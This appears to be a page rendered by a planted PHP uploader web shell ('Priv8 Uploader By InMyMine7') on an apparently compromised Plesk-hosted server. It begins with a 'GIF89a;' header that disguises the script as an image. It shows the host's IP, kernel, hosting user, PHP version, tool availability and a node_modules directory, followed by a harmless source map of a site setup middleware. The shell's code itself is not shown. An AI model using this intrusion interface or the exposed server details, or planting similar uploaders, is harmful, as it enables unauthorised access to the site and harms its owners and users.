GIF89a;
GIF89a;Priv8 Uploader By InMyMine7
Linux gallant-poincare.82-165-91-112.plesk.page 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64
Priv8 Uploader By InMyMine7
Linux gallant-poincare.82-165-91-112.plesk.page 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64
| Server IP : 82.165.91.112 / Your IP : 216.73.217.79 Web Server : Apache System : Linux gallant-poincare.82-165-91-112.plesk.page 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64 User : nr7.net_tfpqq467gv ( 10001) PHP Version : 8.4.25 Disable Function : opcache_get_status MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/vhosts/nr7.net/emdash.nr7.net/node_modules/emdash/dist/astro/middleware/ |
Upload File : |
{"version":3,"file":"setup.mjs","names":[],"sources":["../../../src/astro/middleware/setup.ts"],"sourcesContent":["/**\n * Setup detection middleware\n *\n * Redirects to setup wizard if the site hasn't been set up yet.\n * Checks both \"emdash:setup_complete\" option AND user existence.\n *\n * Detection logic (in order):\n * 1. Does options table exist? No → setup needed\n * 2. Is setup_complete true? No → setup needed\n * 3. In passkey mode: Are there any users? No → setup needed\n * In Access mode: Skip user check (first user created on first login)\n * 4. Proceed to admin\n */\n\nimport { defineMiddleware } from \"astro:middleware\";\n\nimport { getAuthMode } from \"../../auth/mode.js\";\n\nexport const onRequest = defineMiddleware(async (context, next) => {\n\t// Only check setup on admin routes (but not the setup page itself)\n\tconst isAdminRoute = context.url.pathname.startsWith(\"/_emdash/admin\");\n\tconst isSetupRoute = context.url.pathname.startsWith(\"/_emdash/admin/setup\");\n\n\tif (isAdminRoute && !isSetupRoute) {\n\t\t// Check if setup is complete\n\t\tconst { emdash } = context.locals;\n\n\t\tif (!emdash?.db) {\n\t\t\t// No database configured - let the admin handle this error\n\t\t\treturn next();\n\t\t}\n\n\t\ttry {\n\t\t\t// Check setup_complete flag\n\t\t\tconst setupComplete = await emdash.db\n\t\t\t\t.selectFrom(\"options\")\n\t\t\t\t.select(\"value\")\n\t\t\t\t.where(\"name\", \"=\", \"emdash:setup_complete\")\n\t\t\t\t.executeTakeFirst();\n\n\t\t\t// Value is JSON-encoded, parse it. Accepts both boolean true and string \"true\"\n\t\t\tconst isComplete =\n\t\t\t\tsetupComplete &&\n\t\t\t\t(() => {\n\t\t\t\t\ttry {\n\t\t\t\t\t\tconst parsed = JSON.parse(setupComplete.value);\n\t\t\t\t\t\treturn parsed === true || parsed === \"true\";\n\t\t\t\t\t} catch {\n\t\t\t\t\t\treturn false;\n\t\t\t\t\t}\n\t\t\t\t})();\n\n\t\t\tif (!isComplete) {\n\t\t\t\t// Redirect to setup wizard\n\t\t\t\treturn context.redirect(\"/_emdash/admin/setup\");\n\t\t\t}\n\n\t\t\t// Check auth mode - user verification differs by mode\n\t\t\tconst authMode = getAuthMode(emdash.config);\n\n\t\t\t// In passkey mode, verify users exist\n\t\t\t// In Access mode, skip this check - first user is created on first Access login\n\t\t\tif (authMode.type === \"passkey\") {\n\t\t\t\t// Setup is marked complete, but verify users exist\n\t\t\t\t// This catches edge case where setup_complete is true but no users\n\t\t\t\tconst userCount = await emdash.db\n\t\t\t\t\t.selectFrom(\"users\")\n\t\t\t\t\t.select((eb) => eb.fn.countAll<number>().as(\"count\"))\n\t\t\t\t\t.executeTakeFirstOrThrow();\n\n\t\t\t\tif (userCount.count === 0) {\n\t\t\t\t\t// No users - need to complete admin creation\n\t\t\t\t\treturn context.redirect(\"/_emdash/admin/setup\");\n\t\t\t\t}\n\t\t\t}\n\t\t} catch (error) {\n\t\t\t// If the options table doesn't exist yet, redirect to setup\n\t\t\t// This handles fresh installations where migrations haven't run\n\t\t\tif (error instanceof Error && error.message.includes(\"no such table\")) {\n\t\t\t\treturn context.redirect(\"/_emdash/admin/setup\");\n\t\t\t}\n\n\t\t\t// Other errors - let the admin handle them\n\t\t\tconsole.error(\"Setup middleware error:\", error);\n\t\t}\n\t}\n\n\treturn next();\n});\n"],"mappings":";;;;;;;;;;;;;;;;;AAkBA,MAAa,YAAY,iBAAiB,OAAO,SAAS,SAAS;CAElE,MAAM,eAAe,QAAQ,IAAI,SAAS,WAAW,iBAAiB;CACtE,MAAM,eAAe,QAAQ,IAAI,SAAS,WAAW,uBAAuB;AAE5E,KAAI,gBAAgB,CAAC,cAAc;EAElC,MAAM,EAAE,WAAW,QAAQ;AAE3B,MAAI,CAAC,QAAQ,GAEZ,QAAO,MAAM;AAGd,MAAI;GAEH,MAAM,gBAAgB,MAAM,OAAO,GACjC,WAAW,UAAU,CACrB,OAAO,QAAQ,CACf,MAAM,QAAQ,KAAK,wBAAwB,CAC3C,kBAAkB;AAcpB,OAAI,EAVH,wBACO;AACN,QAAI;KACH,MAAM,SAAS,KAAK,MAAM,cAAc,MAAM;AAC9C,YAAO,WAAW,QAAQ,WAAW;YAC9B;AACP,YAAO;;OAEL,EAIJ,QAAO,QAAQ,SAAS,uBAAuB;AAQhD,OAJiB,YAAY,OAAO,OAAO,CAI9B,SAAS,WAQrB;SALkB,MAAM,OAAO,GAC7B,WAAW,QAAQ,CACnB,QAAQ,OAAO,GAAG,GAAG,UAAkB,CAAC,GAAG,QAAQ,CAAC,CACpD,yBAAyB,EAEb,UAAU,EAEvB,QAAO,QAAQ,SAAS,uBAAuB;;WAGzC,OAAO;AAGf,OAAI,iBAAiB,SAAS,MAAM,QAAQ,SAAS,gBAAgB,CACpE,QAAO,QAAQ,SAAS,uBAAuB;AAIhD,WAAQ,MAAM,2BAA2B,MAAM;;;AAIjD,QAAO,MAAM;EACZ"}